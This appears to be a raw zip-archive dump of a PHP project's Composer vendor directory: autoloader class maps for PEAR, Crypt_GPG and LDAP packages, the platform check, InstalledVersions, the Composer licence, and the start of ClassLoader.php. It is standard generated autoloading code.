        'Crypt_GPG_ProcessControl' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/ProcessControl.php',
        'Crypt_GPG_ProcessHandler' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/ProcessHandler.php',
        'Crypt_GPG_Signature' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/Signature.php',
        'Crypt_GPG_SignatureCreationInfo' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/SignatureCreationInfo.php',
        'Crypt_GPG_SubKey' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/SubKey.php',
        'Crypt_GPG_UserId' => __DIR__ . '/..' . '/pear/crypt_gpg/Crypt/GPG/UserId.php',
        'Net_LDAP2' => __DIR__ . '/..' . '/pear/net_ldap2/Net/LDAP2.php',
        'Net_LDAP2_Entry' => __DIR__ . '/..' . '/pear/net_ldap2/Net/LDAP2/Entry.php',
        'Net_LDAP2_Error' => __DIR__ . '/..' . '/pear/net_ldap2/Net/LDAP2.php',
        'Net_LDAP2_Filter' => __DIR__ . '/..' . '/pear/net_ldap2/Net/LDAP2/Filter.php',
        'Net_LDAP2_LDIF' => __DIR__ . '/..' . '/pear/net_ldap2/Net/LDAP2/LDIF.php',
        'Net_LDAP2_RootDSE' => __DIR__ . '/..' . '/pear/net_ldap2/Net/LDAP2/RootDSE.php',
        'Net_LDAP2_Schema' => __DIR__ . '/..' . '/pear/net_ldap2/Net/LDAP2/Schema.php',
        'Net_LDAP2_SchemaCache' => __DIR__ . '/..' . '/pear/net_ldap2/Net/LDAP2/SchemaCache.interface.php',
        'Net_LDAP2_Search' => __DIR__ . '/..' . '/pear/net_ldap2/Net/LDAP2/Search.php',
        'Net_LDAP2_SimpleFileSchemaCache' => __DIR__ . '/..' . '/pear/net_ldap2/Net/LDAP2/SimpleFileSchemaCache.php',
        'Net_LDAP2_Util' => __DIR__ . '/..' . '/pear/net_ldap2/Net/LDAP2/Util.php',
        'Net_LDAP3' => __DIR__ . '/..' . '/kolab/net_ldap3/lib/Net/LDAP3.php',
        'Net_LDAP3_Result' => __DIR__ . '/..' . '/kolab/net_ldap3/lib/Net/LDAP3/Result.php',
        'Net_Sieve' => __DIR__ . '/..' . '/pear/net_sieve/Sieve.php',
        'OS_Guess' => __DIR__ . '/..' . '/pear/pear-core-minimal/src/OS/Guess.php',
        'PEAR' => __DIR__ . '/..' . '/pear/pear-core-minimal/src/PEAR.php',
        'PEAR_Error' => __DIR__ . '/..' . '/pear/pear-core-minimal/src/PEAR.php',
        'PEAR_ErrorStack' => __DIR__ . '/..' . '/pear/pear-core-minimal/src/PEAR/ErrorStack.php',
        'PEAR_Exception' => __DIR__ . '/..' . '/pear/pear_exception/PEAR/Exception.php',
        'System' => __DIR__ . '/..' . '/pear/pear-core-minimal/src/System.php',
    );

    public static function getInitializer(ClassLoader $loader)
    {
        return \Closure::bind(function () use ($loader) {
            $loader->prefixLengthsPsr4 = ComposerStaticInitd30534b7ccef70d5be1f4ba9bc89dbe4::$prefixLengthsPsr4;
            $loader->prefixDirsPsr4 = ComposerStaticInitd30534b7ccef70d5be1f4ba9bc89dbe4::$prefixDirsPsr4;
            $loader->prefixesPsr0 = ComposerStaticInitd30534b7ccef70d5be1f4ba9bc89dbe4::$prefixesPsr0;
            $loader->classMap = ComposerStaticInitd30534b7ccef70d5be1f4ba9bc89dbe4::$classMap;

        }, null, ClassLoader::class);
    }
}
PKh�\��%���"vendor/composer/platform_check.phpnu�[���<?php

// platform_check.php @generated by Composer

$issues = array();

if (!(PHP_VERSION_ID >= 70300)) {
    $issues[] = 'Your Composer dependencies require a PHP version ">= 7.3.0". You are running ' . PHP_VERSION . '.';
}

if ($issues) {
    if (!headers_sent()) {
        header('HTTP/1.1 500 Internal Server Error');
    }
    if (!ini_get('display_errors')) {
        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
            fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL);
        } elseif (!headers_sent()) {
            echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
        }
    }
    trigger_error(
        'Composer detected issues in your platform: ' . implode(' ', $issues),
        E_USER_ERROR
    );
}
PKh�\ 2��??%vendor/composer/InstalledVersions.phpnu�[���<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer;

use Composer\Autoload\ClassLoader;
use Composer\Semver\VersionParser;

/**
 * This class is copied in every Composer installed project and available to all
 *
 * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
 *
 * To require its presence, you can require `composer-runtime-api ^2.0`
 *
 * @final
 */
class InstalledVersions
{
    /**
     * @var mixed[]|null
     * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
     */
    private static $installed;

    /**
     * @var bool|null
     */
    private static $canGetVendors;

    /**
     * @var array[]
     * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
     */
    private static $installedByVendor = array();

    /**
     * Returns a list of all package names which are present, either by being installed, replaced or provided
     *
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackages()
    {
        $packages = array();
        foreach (self::getInstalled() as $installed) {
            $packages[] = array_keys($installed['versions']);
        }

        if (1 === \count($packages)) {
            return $packages[0];
        }

        return array_keys(array_flip(\call_user_func_array('array_merge', $packages)));
    }

    /**
     * Returns a list of all package names with a specific type e.g. 'library'
     *
     * @param  string   $type
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackagesByType($type)
    {
        $packagesByType = array();

        foreach (self::getInstalled() as $installed) {
            foreach ($installed['versions'] as $name => $package) {
                if (isset($package['type']) && $package['type'] === $type) {
                    $packagesByType[] = $name;
                }
            }
        }

        return $packagesByType;
    }

    /**
     * Checks whether the given package is installed
     *
     * This also returns true if the package name is provided or replaced by another package
     *
     * @param  string $packageName
     * @param  bool   $includeDevRequirements
     * @return bool
     */
    public static function isInstalled($packageName, $includeDevRequirements = true)
    {
        foreach (self::getInstalled() as $installed) {
            if (isset($installed['versions'][$packageName])) {
                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
            }
        }

        return false;
    }

    /**
     * Checks whether the given package satisfies a version constraint
     *
     * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
     *
     *   Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
     *
     * @param  VersionParser $parser      Install composer/semver to have access to this class and functionality
     * @param  string        $packageName
     * @param  string|null   $constraint  A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
     * @return bool
     */
    public static function satisfies(VersionParser $parser, $packageName, $constraint)
    {
        $constraint = $parser->parseConstraints((string) $constraint);
        $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

        return $provided->matches($constraint);
    }

    /**
     * Returns a version constraint representing all the range(s) which are installed for a given package
     *
     * It is easier to use this via isInstalled() with the $constraint argument if you need to check
     * whether a given version of a package is installed, and not just whether it exists
     *
     * @param  string $packageName
     * @return string Version constraint usable with composer/semver
     */
    public static function getVersionRanges($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            $ranges = array();
            if (isset($installed['versions'][$packageName]['pretty_version'])) {
                $ranges[] = $installed['versions'][$packageName]['pretty_version'];
            }
            if (array_key_exists('aliases', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
            }
            if (array_key_exists('replaced', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
            }
            if (array_key_exists('provided', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
            }

            return implode(' || ', $ranges);
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getPrettyVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['pretty_version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['pretty_version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference
     */
    public static function getReference($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['reference'])) {
                return null;
            }

            return $installed['versions'][$packageName]['reference'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path.
     */
    public static function getInstallPath($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null;
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @return array
     * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}
     */
    public static function getRootPackage()
    {
        $installed = self::getInstalled();

        return $installed[0]['root'];
    }

    /**
     * Returns the raw installed.php data for custom implementations
     *
     * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
     * @return array[]
     * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}
     */
    public static function getRawData()
    {
        @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED);

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                self::$installed = include __DIR__ . '/installed.php';
            } else {
                self::$installed = array();
            }
        }

        return self::$installed;
    }

    /**
     * Returns the raw data of all installed.php which are currently loaded for custom implementations
     *
     * @return array[]
     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
     */
    public static function getAllRawData()
    {
        return self::getInstalled();
    }

    /**
     * Lets you reload the static array from another file
     *
     * This is only useful for complex integrations in which a project needs to use
     * this class but then also needs to execute another project's autoloader in process,
     * and wants to ensure both projects have access to their version of installed.php.
     *
     * A typical case would be PHPUnit, where it would need to make sure it reads all
     * the data it needs from this class, then call reload() with
     * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure
     * the project in which it runs can then also use this class safely, without
     * interference between PHPUnit's dependencies and the project's dependencies.
     *
     * @param  array[] $data A vendor/composer/installed.php data set
     * @return void
     *
     * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data
     */
    public static function reload($data)
    {
        self::$installed = $data;
        self::$installedByVendor = array();
    }

    /**
     * @return array[]
     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
     */
    private static function getInstalled()
    {
        if (null === self::$canGetVendors) {
            self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders');
        }

        $installed = array();

        if (self::$canGetVendors) {
            foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
                if (isset(self::$installedByVendor[$vendorDir])) {
                    $installed[] = self::$installedByVendor[$vendorDir];
                } elseif (is_file($vendorDir.'/composer/installed.php')) {
                    /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                    $required = require $vendorDir.'/composer/installed.php';
                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
                    if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) {
                        self::$installed = $installed[count($installed) - 1];
                    }
                }
            }
        }

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                $required = require __DIR__ . '/installed.php';
                self::$installed = $required;
            } else {
                self::$installed = array();
            }
        }

        if (self::$installed !== array()) {
            $installed[] = self::$installed;
        }

        return $installed;
    }
}
PKh�\6�J��%vendor/composer/autoload_classmap.phpnu�[���<?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
    'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
    'Crypt_GPG' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG.php',
    'Crypt_GPGAbstract' => $vendorDir . '/pear/crypt_gpg/Crypt/GPGAbstract.php',
    'Crypt_GPG_BadPassphraseException' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
    'Crypt_GPG_DeletePrivateKeyException' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
    'Crypt_GPG_Engine' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/Engine.php',
    'Crypt_GPG_Exception' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
    'Crypt_GPG_FileException' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
    'Crypt_GPG_InvalidKeyParamsException' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
    'Crypt_GPG_InvalidOperationException' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
    'Crypt_GPG_Key' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/Key.php',
    'Crypt_GPG_KeyGenerator' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/KeyGenerator.php',
    'Crypt_GPG_KeyNotCreatedException' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
    'Crypt_GPG_KeyNotFoundException' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
    'Crypt_GPG_NoDataException' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
    'Crypt_GPG_OpenSubprocessException' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/Exceptions.php',
    'Crypt_GPG_PinEntry' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/PinEntry.php',
    'Crypt_GPG_ProcessControl' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/ProcessControl.php',
    'Crypt_GPG_ProcessHandler' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/ProcessHandler.php',
    'Crypt_GPG_Signature' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/Signature.php',
    'Crypt_GPG_SignatureCreationInfo' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/SignatureCreationInfo.php',
    'Crypt_GPG_SubKey' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/SubKey.php',
    'Crypt_GPG_UserId' => $vendorDir . '/pear/crypt_gpg/Crypt/GPG/UserId.php',
    'Net_LDAP2' => $vendorDir . '/pear/net_ldap2/Net/LDAP2.php',
    'Net_LDAP2_Entry' => $vendorDir . '/pear/net_ldap2/Net/LDAP2/Entry.php',
    'Net_LDAP2_Error' => $vendorDir . '/pear/net_ldap2/Net/LDAP2.php',
    'Net_LDAP2_Filter' => $vendorDir . '/pear/net_ldap2/Net/LDAP2/Filter.php',
    'Net_LDAP2_LDIF' => $vendorDir . '/pear/net_ldap2/Net/LDAP2/LDIF.php',
    'Net_LDAP2_RootDSE' => $vendorDir . '/pear/net_ldap2/Net/LDAP2/RootDSE.php',
    'Net_LDAP2_Schema' => $vendorDir . '/pear/net_ldap2/Net/LDAP2/Schema.php',
    'Net_LDAP2_SchemaCache' => $vendorDir . '/pear/net_ldap2/Net/LDAP2/SchemaCache.interface.php',
    'Net_LDAP2_Search' => $vendorDir . '/pear/net_ldap2/Net/LDAP2/Search.php',
    'Net_LDAP2_SimpleFileSchemaCache' => $vendorDir . '/pear/net_ldap2/Net/LDAP2/SimpleFileSchemaCache.php',
    'Net_LDAP2_Util' => $vendorDir . '/pear/net_ldap2/Net/LDAP2/Util.php',
    'Net_LDAP3' => $vendorDir . '/kolab/net_ldap3/lib/Net/LDAP3.php',
    'Net_LDAP3_Result' => $vendorDir . '/kolab/net_ldap3/lib/Net/LDAP3/Result.php',
    'Net_Sieve' => $vendorDir . '/pear/net_sieve/Sieve.php',
    'OS_Guess' => $vendorDir . '/pear/pear-core-minimal/src/OS/Guess.php',
    'PEAR' => $vendorDir . '/pear/pear-core-minimal/src/PEAR.php',
    'PEAR_Error' => $vendorDir . '/pear/pear-core-minimal/src/PEAR.php',
    'PEAR_ErrorStack' => $vendorDir . '/pear/pear-core-minimal/src/PEAR/ErrorStack.php',
    'PEAR_Exception' => $vendorDir . '/pear/pear_exception/PEAR/Exception.php',
    'System' => $vendorDir . '/pear/pear-core-minimal/src/System.php',
);
PKh�\ �..vendor/composer/LICENSEnu�[���
Copyright (c) Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

PKh�\2@u�?�?vendor/composer/ClassLoader.phpnu�[���<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    https://www.php-fig.org/psr/psr-0/
 * @see    https://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
    /** @var \Closure(string):void */
    private static $includeFile;

    /** @var string|null */
    private $vendorDir;

    // PSR-4
    /**
     * @var array<string, array<string, int>>
     */
    private $prefixLengthsPsr4 = array();
    /**
     * @var array<string, list<string>>
     */
    private $prefixDirsPsr4 = array();
    /**
     * @var list<string>
     */
    private $fallbackDirsPsr4 = array();

    // PSR-0
    /**
     * List of PSR-0 prefixes
     *
     * Structured as array('F (first letter)' => array('Foo\Bar (full prefix)' => array('path', 'path2')))
     *
     * @var array<string, array<string, list<string>>>
     */
    private $prefixesPsr0 = array();
    /**
     * @var list<string>
     */
    private $fallbackDirsPsr0 = array();

    /** @var bool */
    private $useIncludePath = false;

    /**
     * @var array<string, string>
     */
    private $classMap = array();

    /** @var bool */
    private $classMapAuthoritative = false;

    /**
     * @var array<string, bool>
     */
    private $missingClasses = array();

    /** @var string|null */
    private $apcuPrefix;

    /**
     * @var array<string, self>
     */
    private static $registeredLoaders = array();

    /**
     * @param string|null $vendorDir
     */
    public function __construct($vendorDir = null)
    {
        $this->vendorDir = $vendorDir;
        self::initializeIncludeClosure();
    }

    /**
     * @return array<string, list<string>>
     */
    public function getPrefixes()
    {
        if (!empty($this->prefixesPsr0)) {
            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
        }

        return array();
    }

    /**
     * @return array<string, list<string>>
     */
    public function getPrefixesPsr4()
    {
        return $this->prefixDirsPsr4;
    }

    /**
     * @return list<string>
     */
    public function getFallbackDirs()
    {
        return $this->fallbackDirsPsr0;
    }

    /**
     * @return list<string>
     */
    public function getFallbackDirsPsr4()
    {
        return $this->fallbackDirsPsr4;
    }

    /**
     * @return array<string, string> Array of classname => path
     */
    public function getClassMap()
    {
        return $this->classMap;
    }

    /**
     * @param array<string, string> $classMap Class to filename map
     *
     * @return void
     */
    public function addClassMap(array $classMap)
    {
        if ($this->classMap) {
            $this->classMap = array_merge($this->classMap, $classMap);
        } else {
            $this->classMap = $classMap;
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix, either
     * appending or prepending to the ones previously set for this prefix.
     *
     * @param string              $prefix  The prefix
     * @param list<string>|string $paths   The PSR-0 root directories
     * @param bool                $prepend Whether to prepend the directories
     *
     * @return void
     */
    public function add($prefix, $paths, $prepend = false)
    {
        $paths = (array) $paths;
        if (!$prefix) {
            if ($prepend) {
                $this->fallbackDirsPsr0 = array_merge(
                    $paths,
                    $this->fallbackDirsPsr0
                );
            } else {
                $this->fallbackDirsPsr0 = array_merge(
                    $this->fallbackDirsPsr0,
                    $paths
                );
            }

            return;
        }

        $first = $prefix[0];
        if (!isset($this->prefixesPsr0[$first][$prefix])) {
            $this->prefixesPsr0[$first][$prefix] = $paths;

            return;
        }
        if ($prepend) {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $paths,
                $this->prefixesPsr0[$first][$prefix]
            );
        } else {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $this->prefixesPsr0[$first][$prefix],
                $paths
            );
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace, either
     * appending or prepending to the ones previously set for this namespace.
     *
     * @param string              $prefix  The prefix/namespace, with trailing '\\'
     * @param list<string>|string $paths   The PSR-4 base directories
     * @param bool                $prepend Whether to prepend the directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function addPsr4($prefix, $paths, $prepend = false)
    {
        $paths = (array) $paths;
        if (!$prefix) {
            // Register directories for the root namespace.
            if ($prepend) {
                $this->fallbackDirsPsr4 = array_merge(
                    $paths,
                    $this->fallbackDirsPsr4
                );
            } else {
                $this->fallbackDirsPsr4 = array_merge(
                    $this->fallbackDirsPsr4,
                    $paths
                );
            }
        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
            // Register directories for a new namespace.
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = $paths;
        } elseif ($prepend) {
            // Prepend directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $paths,
                $this->prefixDirsPsr4[$prefix]
            );
        } else {
            // Append directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $this->prefixDirsPsr4[$prefix],
                $paths
            );
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix,
     * replacing any others previously set for this prefix.
     *
     * @param string              $prefix The prefix
     * @param list<string>|string $paths  The PSR-0 base directories
     *
     * @return void
     */
    public function set($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr0 = (array) $paths;
        } else {
            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace,
     * replacing any others previously set for this namespace.
     *
     * @param string              $prefix The prefix/namespace, with trailing '\\'
     * @param list<string>|string $paths  The PSR-4 base directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function setPsr4($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr4 = (array) $paths;
        } else {
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        }
    }

    /**
     * Turns on searching the include path for class files.
     *
     * @param bool $useIncludePath
     *
     * @return void
     */
    public function setUseIncludePath($useIncludePath)
    {
        $this->useIncludePath = $useIncludePath;
    }

    /**
     * Can be used to check if the autoloader uses the include path to check
     * for classes.
     *
     * @return bool
     */
    public function getUseIncludePath()
    {
        return $this->useIncludePath;
    }

    /**
     * Turns off searching the prefix and fallback directories for classes
     * that have not been registered with the class map.
     *
     * @param bool $classMapAuthoritative
     *
     * @return void
     */
    public function setClassMapAuthoritative($classMapAuthoritative)
    {
        $this->classMapAuthoritative = $classMapAuthoritative;
    }

    /**
     * Should class lookup fail if not found in the current class map?
     *
     * @return bool
     */
    public function isClassMapAuthoritative()
    {
        return $this->classMapAuthoritative;
    }

    /**
     * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
     *
     * @param string|null $apcuPrefix
     *
     * @return void
     */
    public function setApcuPrefix($apcuPrefix)
    {
        $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
    }

    /**
     * The APCu prefix in use, or null if APCu caching is not enabled.
     *
     * @return string|null
     */
    public function getApcuPrefix()
    {
        return $this->apcuPrefix;
    }

    /**
     * Registers this instance as an autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not
     *
     * @return void
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true, $prepend);

        if (null === $this->vendorDir) {
            return;
        }

        if ($prepend) {
            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
        } else {
            unset(self::$registeredLoaders[$this->vendorDir]);
            self::$registeredLoaders[$this->vendorDir] = $this;
        }
    }

    /**
     * Unregisters this instance as an autoloader.
     *
     * @return void
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));

        if (null !== $this->vendorDir) {
            unset(self::$registeredLoaders[$this->vendorDir]);
        }
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string    $class The name of the class
     * @return true|null True if loaded, null otherwise
     */
    public function loadClass($class)
    {
        if ($file = $this->findFile($class)) {
            $includeFile = self::$includeFile;
            $includeFile($file);

            return true;
        }

        return null;
    }

    /**
     * Finds the path to the file where the class is defined.
     *
     * @param string $class The name of the class
     *
     * @return string|false The path if found, false otherwise
     */
    public function findFile($class)
    {
        // class map lookup
